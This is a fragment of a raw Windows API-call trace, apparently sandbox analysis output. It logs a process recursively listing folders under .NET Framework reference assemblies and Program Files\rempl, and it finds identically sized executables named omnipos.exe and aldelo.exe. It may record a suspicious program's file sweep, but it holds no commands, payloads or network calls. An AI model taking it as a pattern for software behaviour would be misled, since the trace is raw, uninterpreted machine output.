Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0290.840] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.840] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e74b83, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e74b83, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0290.840] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e74b83, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e74b83, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0290.840] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0290.840] GetProcessHeap () returned 0xaf0000 [0290.840] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0290.840] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0290.840] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f0d4ff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f0d4ff, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xaa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0290.841] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x78000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x86093000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x139000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f7fc32, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f7fc32, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x86093000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51fcc0f8, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51fcc0f8, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x873a5d00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0290.842] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0290.843] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f7fc32, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f7fc32, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x86093000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0290.843] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f7fc32, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f7fc32, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x86093000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0290.843] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0290.843] GetProcessHeap () returned 0xaf0000 [0290.843] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0290.844] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0290.844] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0290.844] GetProcessHeap () returned 0xaf0000 [0290.844] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0290.844] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0290.844] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0290.844] GetProcessHeap () returned 0xaf0000 [0290.844] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa02b80, ftCreationTime.dwHighDateTime=0x1d5933c, ftLastAccessTime.dwLowDateTime=0xc4e0f8f0, ftLastAccessTime.dwHighDateTime=0x1d5e437, ftLastWriteTime.dwLowDateTime=0xc4e0f8f0, ftLastWriteTime.dwHighDateTime=0x1d5e437, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="omnipos.exe", cAlternateFileName="")) returned 1 [0290.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa02b80, ftCreationTime.dwHighDateTime=0x1d5933c, ftLastAccessTime.dwLowDateTime=0xc4e0f8f0, ftLastAccessTime.dwHighDateTime=0x1d5e437, ftLastWriteTime.dwLowDateTime=0xc4e0f8f0, ftLastWriteTime.dwHighDateTime=0x1d5e437, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="omnipos.exe", cAlternateFileName="")) returned 0 [0290.845] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0290.845] GetProcessHeap () returned 0xaf0000 [0290.845] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0290.845] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="rempl", cAlternateFileName="")) returned 1 [0290.845] GetProcessHeap () returned 0xaf0000 [0290.845] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0290.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\rempl\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0290.845] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0290.845] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bb400, ftCreationTime.dwHighDateTime=0x1d5d44e, ftLastAccessTime.dwLowDateTime=0x6a73e040, ftLastAccessTime.dwHighDateTime=0x1d5a250, ftLastWriteTime.dwLowDateTime=0x6a73e040, ftLastWriteTime.dwHighDateTime=0x1d5a250, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="aldelo.exe", cAlternateFileName="")) returned 1 [0290.845] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x86e9cd10, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="Logs", cAlternateFileName="")) returned 1 [0290.845] GetProcessHeap () returned 0xaf0000 [0290.846] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\rempl\\Logs\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x86e9cd10, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0290.847] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x86e9cd10, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.847] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x87d22907, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remediation.001.etl", cAlternateFileName="REMEDI~3.ETL")) returned 1 [0290.847] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x79e31fb0, ftLastAccessTime.dwHighDateTime=0x1d327b1, ftLastWriteTime.dwLowDateTime=0x79eac3d2, ftLastWriteTime.dwHighDateTime=0x1d327b1, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remediation.002.etl", cAlternateFileName="REMEDI~2.ETL")) returned 1 [0290.847] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, 